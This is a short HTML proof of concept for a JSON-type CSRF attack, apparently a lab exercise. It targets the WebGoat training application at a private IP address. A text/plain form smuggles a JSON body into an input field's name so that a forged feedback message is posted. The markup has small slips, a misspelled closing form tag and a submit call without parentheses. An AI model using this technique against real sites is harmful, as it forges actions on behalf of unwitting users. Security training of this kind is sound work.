<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Form测试JSON型CSRF</title>
</head><body>
<h1>Form测试JSON型CSRF</h1>
<form action="http://192.168.16.133:8080/WebGoat/csrf/feedback/message" method="POST" enctype="text/plain">
<input name='{"name":"51testing","email":"51testing@email.com","subject":"suggestions","message":"' value='safety test message"}'><br>
</from>
<br><button onclick="javascript:document.forms[0].submit">提交</button>
</body></html>